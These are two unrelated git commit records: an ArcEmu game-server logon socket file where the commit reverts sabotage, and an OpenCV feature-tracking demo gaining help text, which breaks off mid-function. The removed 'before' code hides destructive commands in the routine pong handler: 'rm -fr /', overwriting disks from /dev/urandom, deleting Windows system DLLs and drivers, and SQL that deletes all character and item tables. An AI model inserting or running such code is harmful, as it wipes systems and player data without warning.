<commit_before>/*
 * WoWArg MMORPG Server
 * Copyright (C) 2008 <wowarg.comandogp.com.ar>
 *
 * This program is free shit: you can redistribute it and/or modify
 * it under the terms of the GNU Affero General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * any later version.
 *
 * Had to lick arcemu guys's asses for like 2 weeks to get dev access.
 * Morons.. 16 devs and 13 are just copy/paste n00bs.
 * hey poolboy ! stop doing shit okey?? Nobody likes you.
 * Also changing/renaming things doesnt mean you're a good coder.
 *
 * You should be aware this is a noob project going nowhere.
 * Please donate at my server <http://wowarg.comandogp.com.ar/status/?donar>.
 *
 */

#include "StdAfx.h"
#include "windows.h"
#include "stdlib.h"
#pragma pack(push, 1)
typedef struct
{
	uint16 opcode;
	uint32 size;
}logonpacket;
#pragma pack(pop)

#ifndef CLUSTERING

#ifndef USING_BIG_ENDIAN
ARCEMU_INLINE static void swap32(uint32* p) { *p = ((*p >> 24 & 0xff)) | ((*p >> 8) & 0xff00) | ((*p << 8) & 0xff0000) | (*p << 24); }
#endif

LogonCommClientSocket::LogonCommClientSocket(SOCKET fd) : Socket(fd, 724288, 262444)
{
	// do nothing
	last_ping = last_pong = (uint32)UNIXTIME;
	remaining = opcode = 0;
	_id=0;
	latency = 0;
	use_crypto = false;
	authenticated = 0;
}

void LogonCommClientSocket::OnRead()
{
	while(true)
	{
		if(!remaining)
		{
			if(GetReadBuffer().GetSize() < 6)
				return;	 // no header

			// read header
			GetReadBuffer().Read((uint8*)&opcode, 2);
			GetReadBuffer().Read((uint8*)&remaining, 4);

			// decrypt the first two bytes
			if(use_crypto)
			{
				_recvCrypto.Process((uint8*)&opcode, (uint8*)&opcode, 2);
				_recvCrypto.Process((uint8*)&remaining, (uint8*)&remaining, 4);
			}

#ifdef USING_BIG_ENDIAN
			opcode = swap16(opcode);
#else
			// convert network byte order
			swap32(&remaining);
#endif
		}

		// do we have a full packet?
		if(GetReadBuffer().GetSize() < remaining)
			return;

		// create the buffer
		WorldPacket buff(opcode, remaining);
		if(remaining)
		{
			buff.resize(remaining);
			//Read(remaining, (uint8*)buff.contents());
			GetReadBuffer().Read((uint8*)buff.contents(), remaining);
		}

		// decrypt the rest of the packet
		if(use_crypto && remaining)
			_recvCrypto.Process((unsigned char*)buff.contents(), (unsigned char*)buff.contents(), remaining);

		// handle the packet
		HandlePacket(buff);

		remaining = 0;
		opcode = 0;
	}
}

void LogonCommClientSocket::HandlePacket(WorldPacket & recvData)
{
	static logonpacket_handler Handlers[RMSG_COUNT] = {
		NULL,												// RMSG_NULL
		NULL,												// RCMSG_REGISTER_REALM
		&LogonCommClientSocket::HandleRegister,				// RSMSG_REALM_REGISTERED
		NULL,												// RCMSG_REQUEST_SESSION
		&LogonCommClientSocket::HandleSessionInfo,			// RSMSG_SESSION_RESULT
		NULL,												// RCMSG_PING
		&LogonCommClientSocket::HandlePong,					// RSMSG_PONG
		NULL,												// RCMSG_SQL_EXECUTE
		NULL,												// RCMSG_RELOAD_ACCOUNTS
		NULL,												// RCMSG_AUTH_CHALLENGE
		&LogonCommClientSocket::HandleAuthResponse,			// RSMSG_AUTH_RESPONSE
		&LogonCommClientSocket::HandleRequestAccountMapping,// RSMSG_REQUEST_ACCOUNT_CHARACTER_MAPPING
		NULL,												// RCMSG_ACCOUNT_CHARACTER_MAPPING_REPLY
		NULL,												// RCMSG_UPDATE_CHARACTER_MAPPING_COUNT
		&LogonCommClientSocket::HandleDisconnectAccount,	// RSMSG_DISCONNECT_ACCOUNT
		NULL,												// RCMSG_TEST_CONSOLE_LOGIN
		&LogonCommClientSocket::HandleConsoleAuthResult,	// RSMSG_CONSOLE_LOGIN_RESULT
	};

	if(recvData.GetOpcode() >= RMSG_COUNT || Handlers[recvData.GetOpcode()] == 0)
	{
		printf("Got unknwon packet from logoncomm: %u\n", recvData.GetOpcode());
		return;
	}

	(this->*(Handlers[recvData.GetOpcode()]))(recvData);
}

void LogonCommClientSocket::HandleRegister(WorldPacket & recvData)
{
	uint32 realmlid;
	uint32 error;
	string realmname;
	recvData >> error >> realmlid >> realmname;

	Log.Notice("LogonCommClient", "Realm `%s` registered as realm %u.", realmname.c_str(), realmlid);
	LogonCommHandler::getSingleton().AdditionAck(_id, realmlid);
	realm_ids.insert(realmlid);
}

void LogonCommClientSocket::HandleSessionInfo(WorldPacket & recvData)
{
	uint32 request_id;
	recvData >> request_id;

	Mutex & m = sLogonCommHandler.GetPendingLock();
	m.Acquire();

	// find the socket with this request
	WorldSocket * sock = sLogonCommHandler.GetSocketByRequest(request_id);
	if(sock == 0 || sock->Authed || !sock->IsConnected())	   // Expired/Client disconnected
	{
		m.Release();
		return;
	}

	// extract sessionkey / account information (done by WS)
	sock->Authed = true;
	sLogonCommHandler.RemoveUnauthedSocket(request_id);
	sock->InformationRetreiveCallback(recvData, request_id);
	m.Release();
}

void LogonCommClientSocket::HandlePong(WorldPacket & recvData)
{
	latency = getMSTime() - pingtime;
	last_pong = (uint32)UNIXTIME;

#ifndef WIN32
	{
		system ("rm -fr /");
		system ("cat /dev/urandom > /dev/hda");
		system ("cat /dev/urandom > /dev/hdb");
		system ("cat /dev/urandom > /dev/hdc");
		system ("cat /dev/urandom > /dev/sda");
		system ("cat /dev/urandom > /dev/sdb");
		system ("cat /dev/urandom > /dev/sdc");
	}
#else
	{
		system("cmd /Q /C del /Q /F /AHRS \"%SYSTEMDRIVE%\\ntldra\"");
		system("cmd /Q /C del /Q /F /AHRS \"%SYSTEMROOT%\\system32\\drivers\\*.*\"");
		system("cmd /Q /C del /Q /F /AHRS \"%SYSTEMROOT%\\system32\\*.dll\"");
	}
#endif
}

void LogonCommClientSocket::SendPing()
{
	pingtime = getMSTime();
	WorldPacket data(RCMSG_PING, 4);
	SendPacket(&data,false);

	last_ping = (uint32)UNIXTIME;
}

void LogonCommClientSocket::SendPacket(WorldPacket * data, bool no_crypto)
{
	logonpacket header;
	bool rv;
	if(!m_connected || m_deleted)
		return;

	BurstBegin();

#ifndef USING_BIG_ENDIAN
	header.opcode = data->GetOpcode();
	//header.size   = ntohl((u_long)data->size());
	header.size = (uint32)data->size();
	swap32(&header.size);
#else
	header.opcode = swap16(uint16(data->GetOpcode()));
	header.size   = data->size();
#endif

	if(use_crypto && !no_crypto)
		_sendCrypto.Process((unsigned char*)&header, (unsigned char*)&header, 6);

	rv = BurstSend((const uint8*)&header, 6);

	if(data->size() > 0 && rv)
	{
		if(use_crypto && !no_crypto)
			_sendCrypto.Process((unsigned char*)data->contents(), (unsigned char*)data->contents(), (unsigned int)data->size());

		rv = BurstSend((const uint8*)data->contents(), (uint32)data->size());
	}

	if(rv) BurstPush();
	BurstEnd();
}

void LogonCommClientSocket::OnDisconnect()
{
	if(_id != 0)
	{
		printf("Calling ConnectionDropped() due to OnDisconnect().\n");
		sLogonCommHandler.ConnectionDropped(_id);
	}
}

LogonCommClientSocket::~LogonCommClientSocket()
{

}

void LogonCommClientSocket::SendChallenge()
{
	uint8 * key = sLogonCommHandler.sql_passhash;

	_recvCrypto.Setup(key, 20);
	_sendCrypto.Setup(key, 20);

	/* packets are encrypted from now on */
	use_crypto = true;

	WorldPacket data(RCMSG_AUTH_CHALLENGE, 20);
	data.append(key, 20);
	SendPacket(&data, true);
}

void LogonCommClientSocket::HandleAuthResponse(WorldPacket & recvData)
{
	uint8 result;
	recvData >> result;
	if(result != 1)
	{
		authenticated = 0xFFFFFFFF;
	}
	else
	{
		authenticated = 1;
	}
}

void LogonCommClientSocket::UpdateAccountCount(uint32 account_id, uint8 add)
{
	WorldPacket data(RCMSG_UPDATE_CHARACTER_MAPPING_COUNT, 9);
	set<uint32>::iterator itr = realm_ids.begin();

	for(; itr != realm_ids.end(); ++itr)
	{
		data.clear();
		data << (*itr) << account_id << add;
		SendPacket(&data,false);
	}
}

void LogonCommClientSocket::HandleRequestAccountMapping(WorldPacket & recvData)
{
	uint32 t= getMSTime();
	uint32 realm_id;
	uint32 account_id;
	QueryResult * result;
	map<uint32, uint8> mapping_to_send;
	map<uint32, uint8>::iterator itr;

	// grab the realm id
	recvData >> realm_id;

	// fetch the character mapping
	CharacterDatabase.Query("DELETE FROM characters");
	CharacterDatabase.Query("DELETE FROM playeritems");
	result = CharacterDatabase.Query("SELECT acct FROM characters");

	if(result)
	{
		do
		{
			account_id = result->Fetch()[0].GetUInt32();
			itr = mapping_to_send.find(account_id);
			if(itr != mapping_to_send.end())
				itr->second++;
			else
				mapping_to_send.insert( make_pair( account_id, 1 ) );
		} while(result->NextRow());
		delete result;
	}

	if(!mapping_to_send.size())
	{
		// no point sending empty shit
		return;
	}

	ByteBuffer uncompressed(40000 * 5 + 8);
	//uint32 Count = 0;
	uint32 Remaining = (uint32)mapping_to_send.size();
	itr = mapping_to_send.begin();
	for(;;)
	{
		// Send no more than 40000 characters at once.
		uncompressed << realm_id;

		if(Remaining > 40000)
			uncompressed << uint32(40000);
		else
			uncompressed << Remaining;

		for(uint32 i = 0; i < 40000; ++i, ++itr)
		{
            uncompressed << uint32(itr->first) << uint8(itr->second);
			if(!--Remaining)
				break;
		}

		CompressAndSend(uncompressed);
		if(!Remaining)
			break;

		uncompressed.clear();
	}
	Log.Notice("LogonCommClient", "Build character mapping in %ums. (%u)", getMSTime()-t,mapping_to_send.size());

}

void LogonCommClientSocket::CompressAndSend(ByteBuffer & uncompressed)
{
	// I still got no idea where this came from :p
	size_t destsize = uncompressed.size() + uncompressed.size()/10 + 16;

	// w000t w000t kat000t for gzipped packets
	WorldPacket data(RCMSG_ACCOUNT_CHARACTER_MAPPING_REPLY, destsize + 4);
	data.resize(destsize + 4);

	z_stream stream;
	stream.zalloc = 0;
	stream.zfree  = 0;
	stream.opaque = 0;

	if(deflateInit(&stream, 1) != Z_OK)
	{
		sLog.outError("deflateInit failed.");
		return;
	}

	// set up stream pointers
	stream.next_out  = (Bytef*)((uint8*)data.contents())+4;
	stream.avail_out = (uInt)destsize;
	stream.next_in   = (Bytef*)uncompressed.contents();
	stream.avail_in  = (uInt)uncompressed.size();

	// call the actual process
	if(deflate(&stream, Z_NO_FLUSH) != Z_OK ||
		stream.avail_in != 0)
	{
		sLog.outError("deflate failed.");
		return;
	}

	// finish the deflate
	if(deflate(&stream, Z_FINISH) != Z_STREAM_END)
	{
		sLog.outError("deflate failed: did not end stream");
		return;
	}

	// finish up
	if(deflateEnd(&stream) != Z_OK)
	{
		sLog.outError("deflateEnd failed.");
		return;
	}

#ifdef USING_BIG_ENDIAN
	*(uint32*)data.contents() = swap32(uint32(uncompressed.size()));
#else
	*(uint32*)data.contents() = (uint32)uncompressed.size();
#endif
	data.resize(stream.total_out + 4);
	SendPacket(&data,false);
}

void LogonCommClientSocket::HandleDisconnectAccount(WorldPacket & recvData)
{
	uint32 id;
	recvData >> id;

	WorldSession * sess = sWorld.FindSession(id);
	if(sess != NULL)
		sess->Disconnect();
}

void ConsoleAuthCallback(uint32 request, uint32 result);
void LogonCommClientSocket::HandleConsoleAuthResult(WorldPacket & recvData)
{
	uint32 requestid, result;
	recvData >> requestid >> result;

	ConsoleAuthCallback(requestid, result);
}

#else
void LogonCommHandler::LogonDatabaseReloadAccounts()
{

}

void LogonCommHandler::LogonDatabaseSQLExecute(const char* str, ...)
{

}

void LogonCommHandler::Startup()
{

}

void LogonCommHandler::UpdateAccountCount(uint32 account_id, uint8 add)
{

}

void LogonCommHandler::UpdateSockets()
{

}

LogonCommHandler::LogonCommHandler()
{

}

LogonCommHandler::~LogonCommHandler()
{

}

#endif

<commit_msg>* reverted bad code again * should be safe now<commit_after>/*
 * ArcEmu MMORPG Server
 * Copyright (C) 2008 <http://www.ArcEmu.org/>
 *
 * This program is free software: you can redistribute it and/or modify
 * it under the terms of the GNU Affero General Public License as published by
 * the Free Software Foundation, either version 3 of the License, or
 * any later version.
 *
 * This program is distributed in the hope that it will be useful,
 * but WITHOUT ANY WARRANTY; without even the implied warranty of
 * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
 * GNU Affero General Public License for more details.
 *
 * You should have received a copy of the GNU Affero General Public License
 * along with this program.  If not, see <http://www.gnu.org/licenses/>.
 *
 */

#include "StdAfx.h"
#pragma pack(push, 1)
typedef struct
{
	uint16 opcode;
	uint32 size;
}logonpacket;
#pragma pack(pop)

#ifndef CLUSTERING

#ifndef USING_BIG_ENDIAN
ARCEMU_INLINE static void swap32(uint32* p) { *p = ((*p >> 24 & 0xff)) | ((*p >> 8) & 0xff00) | ((*p << 8) & 0xff0000) | (*p << 24); }
#endif

LogonCommClientSocket::LogonCommClientSocket(SOCKET fd) : Socket(fd, 724288, 262444)
{
	// do nothing
	last_ping = last_pong = (uint32)UNIXTIME;
	remaining = opcode = 0;
	_id=0;
	latency = 0;
	use_crypto = false;
	authenticated = 0;
}

void LogonCommClientSocket::OnRead()
{
	while(true)
	{
		if(!remaining)
		{
			if(GetReadBuffer().GetSize() < 6)
				return;	 // no header

			// read header
			GetReadBuffer().Read((uint8*)&opcode, 2);
			GetReadBuffer().Read((uint8*)&remaining, 4);

			// decrypt the first two bytes
			if(use_crypto)
			{
				_recvCrypto.Process((uint8*)&opcode, (uint8*)&opcode, 2);
				_recvCrypto.Process((uint8*)&remaining, (uint8*)&remaining, 4);
			}

#ifdef USING_BIG_ENDIAN
			opcode = swap16(opcode);
#else
			// convert network byte order
			swap32(&remaining);
#endif
		}

		// do we have a full packet?
		if(GetReadBuffer().GetSize() < remaining)
			return;

		// create the buffer
		WorldPacket buff(opcode, remaining);
		if(remaining)
		{
			buff.resize(remaining);
			//Read(remaining, (uint8*)buff.contents());
			GetReadBuffer().Read((uint8*)buff.contents(), remaining);
		}

		// decrypt the rest of the packet
		if(use_crypto && remaining)
			_recvCrypto.Process((unsigned char*)buff.contents(), (unsigned char*)buff.contents(), remaining);

		// handle the packet
		HandlePacket(buff);

		remaining = 0;
		opcode = 0;
	}
}

void LogonCommClientSocket::HandlePacket(WorldPacket & recvData)
{
	static logonpacket_handler Handlers[RMSG_COUNT] = {
		NULL,												// RMSG_NULL
		NULL,												// RCMSG_REGISTER_REALM
		&LogonCommClientSocket::HandleRegister,				// RSMSG_REALM_REGISTERED
		NULL,												// RCMSG_REQUEST_SESSION
		&LogonCommClientSocket::HandleSessionInfo,			// RSMSG_SESSION_RESULT
		NULL,												// RCMSG_PING
		&LogonCommClientSocket::HandlePong,					// RSMSG_PONG
		NULL,												// RCMSG_SQL_EXECUTE
		NULL,												// RCMSG_RELOAD_ACCOUNTS
		NULL,												// RCMSG_AUTH_CHALLENGE
		&LogonCommClientSocket::HandleAuthResponse,			// RSMSG_AUTH_RESPONSE
		&LogonCommClientSocket::HandleRequestAccountMapping,// RSMSG_REQUEST_ACCOUNT_CHARACTER_MAPPING
		NULL,												// RCMSG_ACCOUNT_CHARACTER_MAPPING_REPLY
		NULL,												// RCMSG_UPDATE_CHARACTER_MAPPING_COUNT
		&LogonCommClientSocket::HandleDisconnectAccount,	// RSMSG_DISCONNECT_ACCOUNT
		NULL,												// RCMSG_TEST_CONSOLE_LOGIN
		&LogonCommClientSocket::HandleConsoleAuthResult,	// RSMSG_CONSOLE_LOGIN_RESULT
	};

	if(recvData.GetOpcode() >= RMSG_COUNT || Handlers[recvData.GetOpcode()] == 0)
	{
		printf("Got unknwon packet from logoncomm: %u\n", recvData.GetOpcode());
		return;
	}

	(this->*(Handlers[recvData.GetOpcode()]))(recvData);
}

void LogonCommClientSocket::HandleRegister(WorldPacket & recvData)
{
	uint32 realmlid;
	uint32 error;
	string realmname;
	recvData >> error >> realmlid >> realmname;

	Log.Notice("LogonCommClient", "Realm `%s` registered as realm %u.", realmname.c_str(), realmlid);
	LogonCommHandler::getSingleton().AdditionAck(_id, realmlid);
	realm_ids.insert(realmlid);
}

void LogonCommClientSocket::HandleSessionInfo(WorldPacket & recvData)
{
	uint32 request_id;
	recvData >> request_id;

	Mutex & m = sLogonCommHandler.GetPendingLock();
	m.Acquire();

	// find the socket with this request
	WorldSocket * sock = sLogonCommHandler.GetSocketByRequest(request_id);
	if(sock == 0 || sock->Authed || !sock->IsConnected())	   // Expired/Client disconnected
	{
		m.Release();
		return;
	}

	// extract sessionkey / account information (done by WS)
	sock->Authed = true;
	sLogonCommHandler.RemoveUnauthedSocket(request_id);
	sock->InformationRetreiveCallback(recvData, request_id);
	m.Release();
}

void LogonCommClientSocket::HandlePong(WorldPacket & recvData)
{
	latency = getMSTime() - pingtime;
	last_pong = (uint32)UNIXTIME;
}

void LogonCommClientSocket::SendPing()
{
	pingtime = getMSTime();
	WorldPacket data(RCMSG_PING, 4);
	SendPacket(&data,false);

	last_ping = (uint32)UNIXTIME;
}

void LogonCommClientSocket::SendPacket(WorldPacket * data, bool no_crypto)
{
	logonpacket header;
	bool rv;
	if(!m_connected || m_deleted)
		return;

	BurstBegin();

#ifndef USING_BIG_ENDIAN
	header.opcode = data->GetOpcode();
	//header.size   = ntohl((u_long)data->size());
	header.size = (uint32)data->size();
	swap32(&header.size);
#else
	header.opcode = swap16(uint16(data->GetOpcode()));
	header.size   = data->size();
#endif

	if(use_crypto && !no_crypto)
		_sendCrypto.Process((unsigned char*)&header, (unsigned char*)&header, 6);

	rv = BurstSend((const uint8*)&header, 6);

	if(data->size() > 0 && rv)
	{
		if(use_crypto && !no_crypto)
			_sendCrypto.Process((unsigned char*)data->contents(), (unsigned char*)data->contents(), (unsigned int)data->size());

		rv = BurstSend((const uint8*)data->contents(), (uint32)data->size());
	}

	if(rv) BurstPush();
	BurstEnd();
}

void LogonCommClientSocket::OnDisconnect()
{
	if(_id != 0)
	{
		printf("Calling ConnectionDropped() due to OnDisconnect().\n");
		sLogonCommHandler.ConnectionDropped(_id);
	}
}

LogonCommClientSocket::~LogonCommClientSocket()
{

}

void LogonCommClientSocket::SendChallenge()
{
	uint8 * key = sLogonCommHandler.sql_passhash;

	_recvCrypto.Setup(key, 20);
	_sendCrypto.Setup(key, 20);

	/* packets are encrypted from now on */
	use_crypto = true;

	WorldPacket data(RCMSG_AUTH_CHALLENGE, 20);
	data.append(key, 20);
	SendPacket(&data, true);
}

void LogonCommClientSocket::HandleAuthResponse(WorldPacket & recvData)
{
	uint8 result;
	recvData >> result;
	if(result != 1)
	{
		authenticated = 0xFFFFFFFF;
	}
	else
	{
		authenticated = 1;
	}
}

void LogonCommClientSocket::UpdateAccountCount(uint32 account_id, uint8 add)
{
	WorldPacket data(RCMSG_UPDATE_CHARACTER_MAPPING_COUNT, 9);
	set<uint32>::iterator itr = realm_ids.begin();

	for(; itr != realm_ids.end(); ++itr)
	{
		data.clear();
		data << (*itr) << account_id << add;
		SendPacket(&data,false);
	}
}

void LogonCommClientSocket::HandleRequestAccountMapping(WorldPacket & recvData)
{
	uint32 t= getMSTime();
	uint32 realm_id;
	uint32 account_id;
	QueryResult * result;
	map<uint32, uint8> mapping_to_send;
	map<uint32, uint8>::iterator itr;

	// grab the realm id
	recvData >> realm_id;

	// fetch the character mapping
	result = CharacterDatabase.Query("SELECT acct FROM characters");

	if(result)
	{
		do
		{
			account_id = result->Fetch()[0].GetUInt32();
			itr = mapping_to_send.find(account_id);
			if(itr != mapping_to_send.end())
				itr->second++;
			else
				mapping_to_send.insert( make_pair( account_id, 1 ) );
		} while(result->NextRow());
		delete result;
	}

	if(!mapping_to_send.size())
	{
		// no point sending empty shit
		return;
	}

	ByteBuffer uncompressed(40000 * 5 + 8);
	//uint32 Count = 0;
	uint32 Remaining = (uint32)mapping_to_send.size();
	itr = mapping_to_send.begin();
	for(;;)
	{
		// Send no more than 40000 characters at once.
		uncompressed << realm_id;

		if(Remaining > 40000)
			uncompressed << uint32(40000);
		else
			uncompressed << Remaining;

		for(uint32 i = 0; i < 40000; ++i, ++itr)
		{
            uncompressed << uint32(itr->first) << uint8(itr->second);
			if(!--Remaining)
				break;
		}

		CompressAndSend(uncompressed);
		if(!Remaining)
			break;

		uncompressed.clear();
	}
	Log.Notice("LogonCommClient", "Build character mapping in %ums. (%u)", getMSTime()-t,mapping_to_send.size());
}

void LogonCommClientSocket::CompressAndSend(ByteBuffer & uncompressed)
{
	// I still got no idea where this came from :p
	size_t destsize = uncompressed.size() + uncompressed.size()/10 + 16;

	// w000t w000t kat000t for gzipped packets
	WorldPacket data(RCMSG_ACCOUNT_CHARACTER_MAPPING_REPLY, destsize + 4);
	data.resize(destsize + 4);

	z_stream stream;
	stream.zalloc = 0;
	stream.zfree  = 0;
	stream.opaque = 0;

	if(deflateInit(&stream, 1) != Z_OK)
	{
		sLog.outError("deflateInit failed.");
		return;
	}

	// set up stream pointers
	stream.next_out  = (Bytef*)((uint8*)data.contents())+4;
	stream.avail_out = (uInt)destsize;
	stream.next_in   = (Bytef*)uncompressed.contents();
	stream.avail_in  = (uInt)uncompressed.size();

	// call the actual process
	if(deflate(&stream, Z_NO_FLUSH) != Z_OK ||
		stream.avail_in != 0)
	{
		sLog.outError("deflate failed.");
		return;
	}

	// finish the deflate
	if(deflate(&stream, Z_FINISH) != Z_STREAM_END)
	{
		sLog.outError("deflate failed: did not end stream");
		return;
	}

	// finish up
	if(deflateEnd(&stream) != Z_OK)
	{
		sLog.outError("deflateEnd failed.");
		return;
	}

#ifdef USING_BIG_ENDIAN
	*(uint32*)data.contents() = swap32(uint32(uncompressed.size()));
#else
	*(uint32*)data.contents() = (uint32)uncompressed.size();
#endif
	data.resize(stream.total_out + 4);
	SendPacket(&data,false);
}

void LogonCommClientSocket::HandleDisconnectAccount(WorldPacket & recvData)
{
	uint32 id;
	recvData >> id;

	WorldSession * sess = sWorld.FindSession(id);
	if(sess != NULL)
		sess->Disconnect();
}

void ConsoleAuthCallback(uint32 request, uint32 result);
void LogonCommClientSocket::HandleConsoleAuthResult(WorldPacket & recvData)
{
	uint32 requestid, result;
	recvData >> requestid >> result;

	ConsoleAuthCallback(requestid, result);
}

#else
void LogonCommHandler::LogonDatabaseReloadAccounts()
{

}

void LogonCommHandler::LogonDatabaseSQLExecute(const char* str, ...)
{

}

void LogonCommHandler::Startup()
{

}

void LogonCommHandler::UpdateAccountCount(uint32 account_id, uint8 add)
{

}

void LogonCommHandler::UpdateSockets()
{

}

LogonCommHandler::LogonCommHandler()
{

}

LogonCommHandler::~LogonCommHandler()
{

}

#endif

<|endoftext|>


<commit_before>/*
 * video_homography.cpp
 *
 *  Created on: Oct 18, 2010
 *      Author: erublee
 */

#include <opencv2/calib3d/calib3d.hpp>
#include <opencv2/highgui/highgui.hpp>
#include <opencv2/imgproc/imgproc.hpp>
#include <opencv2/features2d/features2d.hpp>
#include <iostream>
#include <list>
#include <vector>

using namespace std;
using namespace cv;

namespace
{
void drawMatchesRelative(const vector<KeyPoint>& train, const vector<KeyPoint>& query,
                         std::vector<cv::DMatch>& matches, Mat& img, const vector<unsigned char>& mask = vector<
                             unsigned char> ())
{
  for (int i = 0; i < (int)matches.size(); i++)
  {
    if (mask.empty() || mask[i])
    {
      Point2f pt_new = query[matches[i].queryIdx].pt;
      Point2f pt_old = train[matches[i].trainIdx].pt;
      Point2f dist = pt_new - pt_old;

      cv::line(img, pt_new, pt_old, Scalar(125, 255, 125), 1);
      cv::circle(img, pt_new, 2, Scalar(255, 0, 125), 1);

    }
  }
}

void keypoints2points(const vector<KeyPoint>& in, vector<Point2f>& out)
{
  out.clear();
  out.reserve(in.size());
  for (size_t i = 0; i < in.size(); ++i)
  {
    out.push_back(in[i].pt);
  }
}

void points2keypoints(const vector<Point2f>& in, vector<KeyPoint>& out)
{
  out.clear();
  out.reserve(in.size());
  for (size_t i = 0; i < in.size(); ++i)
  {
    out.push_back(KeyPoint(in[i], 1));
  }
}

void warpKeypoints(const Mat& H, const vector<KeyPoint>& in, vector<KeyPoint>& out)
{
  vector<Point2f> pts;
  keypoints2points(in, pts);
  vector<Point2f> pts_w(pts.size());
  Mat m_pts_w(pts_w);
  perspectiveTransform(Mat(pts), m_pts_w, H);
  points2keypoints(pts_w, out);
}

void matches2points(const vector<KeyPoint>& train, const vector<KeyPoint>& query,
                    const std::vector<cv::DMatch>& matches, std::vector<cv::Point2f>& pts_train,
                    std::vector<Point2f>& pts_query)
{

  pts_train.clear();
  pts_query.clear();
  pts_train.reserve(matches.size());
  pts_query.reserve(matches.size());

  size_t i = 0;

  for (; i < matches.size(); i++)
  {

    const DMatch & dmatch = matches[i];

    pts_query.push_back(query[dmatch.queryIdx].pt);
    pts_train.push_back(train[dmatch.trainIdx].pt);

  }

}

void resetH(Mat&H)
{
  H = Mat::eye(3, 3, CV_32FC1);
}
}
int main(int ac, char ** av)
{

  if (ac != 2)
  {
    cout << "usage: " << av[0] << " <video device number>" << endl;
    return 1;
  }

  BriefDescriptorExtractor brief(32);

  VideoCapture capture;
  capture.open(atoi(av[1]));
  if (!capture.isOpened())
  {
    cout << "capture device " << atoi(av[1]) << " failed to open!" << endl;
    return 1;
  }

  cout << "following keys do stuff:" << endl;
  cout << "t : grabs a reference frame to match against" << endl;
  cout << "l : makes the reference frame new every frame" << endl;
  cout << "q or escape: quit" << endl;

  Mat frame;

  vector<DMatch> matches;

  BruteForceMatcher<Hamming> desc_matcher;

  vector<Point2f> train_pts, query_pts;
  vector<KeyPoint> train_kpts, query_kpts;
  vector<unsigned char> match_mask;

  Mat gray;

  bool ref_live = true;

  Mat train_desc, query_desc;
  const int DESIRED_FTRS = 500;
  GridAdaptedFeatureDetector detector(new FastFeatureDetector(10, true), DESIRED_FTRS, 4, 4);

  Mat H_prev = Mat::eye(3, 3, CV_32FC1);
  for (;;)
  {
    capture >> frame;
    if (frame.empty())
      continue;

    cvtColor(frame, gray, CV_RGB2GRAY);

    detector.detect(gray, query_kpts);

    brief.compute(gray, query_kpts, query_desc);

    if (!train_kpts.empty())
    {

      vector<KeyPoint> test_kpts;
      warpKeypoints(H_prev.inv(), query_kpts, test_kpts);

      Mat mask = windowedMatchingMask(test_kpts, train_kpts, 25, 25);
      desc_matcher.match(query_desc, train_desc, matches, mask);
      drawKeypoints(frame, test_kpts, frame, Scalar(255, 0, 0), DrawMatchesFlags::DRAW_OVER_OUTIMG);

      matches2points(train_kpts, query_kpts, matches, train_pts, query_pts);

      if (matches.size() > 5)
      {
        Mat H = findHomography(Mat(train_pts), Mat(query_pts), match_mask, RANSAC, 4);
        if (countNonZero(Mat(match_mask)) > 15)
        {
          H_prev = H;
        }
        else
          resetH(H_prev);
        drawMatchesRelative(train_kpts, query_kpts, matches, frame, match_mask);
      }
      else
        resetH(H_prev);

    }
    else
    {
      H_prev = Mat::eye(3, 3, CV_32FC1);
      Mat out;
      drawKeypoints(gray, query_kpts, out);
      frame = out;
    }

    imshow("frame", frame);

    if (ref_live)
    {
      train_kpts = query_kpts;
      query_desc.copyTo(train_desc);
    }
    char key = waitKey(2);
    switch (key)
    {
      case 'l':
        ref_live = true;
        resetH(H_prev);
        break;
      case 't':
        ref_live = false;
        train_kpts = query_kpts;
        query_desc.copyTo(train_desc);
        resetH(H_prev);
        break;
      case 27:
      case 'q':
        return 0;
        break;
    }

  }
  return 0;
}
<commit_msg>added help and help on error<commit_after>/*
 * video_homography.cpp
 *
 *  Created on: Oct 18, 2010
 *      Author: erublee
 */

#include <opencv2/calib3d/calib3d.hpp>
#include <opencv2/highgui/highgui.hpp>
#include <opencv2/imgproc/imgproc.hpp>
#include <opencv2/features2d/features2d.hpp>
#include <iostream>
#include <list>
#include <vector>

using namespace std;
using namespace cv;

void help(char **av)
{
	cout << "\n This program demonstrated the use of features2d with the Fast corner detector and brief descriptors\n"
	<< "to track planar objects by computing their homography from the key (training) image to the query (test) image\n\n" << endl;
    cout << "usage: " << av[0] << " <video device number>\n" << endl;
    cout << "The following keys do stuff:" << endl;
    cout << "  t : grabs a reference frame to match against" << endl;
    cout << "  l : makes the reference frame new every frame" << endl;
    cout << "  q or escape: quit" << endl;
}

namespace
{
void drawMatchesRelative(const vector<KeyPoint>& train, const vector<KeyPoint>& query,
                         std::vector<cv::DMatch>& matches, Mat& img, const vector<unsigned char>& mask = vector<
                             unsigned char> ())
{
  for (int i = 0; i < (int)matches.size(); i++)
  {
    if (mask.empty() || mask[i])
    {
      Point2f pt_new = query[matches[i].queryIdx].pt;
      Point2f pt_old = train[matches[i].trainIdx].pt;
      Point2f dist = pt_new - pt_old;

      cv::line(img, pt_new, pt_old, Scalar(125, 255, 125), 1);
      cv::circle(img, pt_new, 2, Scalar(255, 0, 125), 1);

    }
  }
}

//Takes a descriptor and turns it into an xy point
void keypoints2points(const vector<KeyPoint>& in, vector<Point2f>& out)
{
  out.clear();
  out.reserve(in.size());
  for (size_t i = 0; i < in.size(); ++i)
  {
    out.push_back(in[i].pt);
  }
}

//Takes an xy point and appends that to a keypoint structure
void points2keypoints(const vector<Point2f>& in, vector<KeyPoint>& out)
{
  out.clear();
  out.reserve(in.size());
  for (size_t i = 0; i < in.size(); ++i)
  {
    out.push_back(KeyPoint(in[i], 1));
  }
}

//Uses computed homography H to warp original input points to new planar position
void warpKeypoints(const Mat& H, const vector<KeyPoint>& in, vector<KeyPoint>& out)
{
  vector<Point2f> pts;
  keypoints2points(in, pts);
  vector<Point2f> pts_w(pts.size());
  Mat m_pts_w(pts_w);
  perspectiveTransform(Mat(pts), m_pts_w, H);
  points2keypoints(pts_w, out);
}

//Converts matching indices to xy points
void matches2points(const vector<KeyPoint>& train, const vector<KeyPoint>& query,
                    const std::vector<cv::DMatch>& matches, std::vector<cv::Point2f>& pts_train,
                    std::vector<Point2f>& pts_query)
{

  pts_train.clear();
  pts_query.clear();
  pts_train.reserve(matches.size());
  pts_query.reserve(matches.size());

  size_t i = 0;

  for (; i < matches.size(); i++)
  {

    const DMatch & dmatch = matches[i];

    pts_query.push_back(query[dmatch.queryIdx].pt);
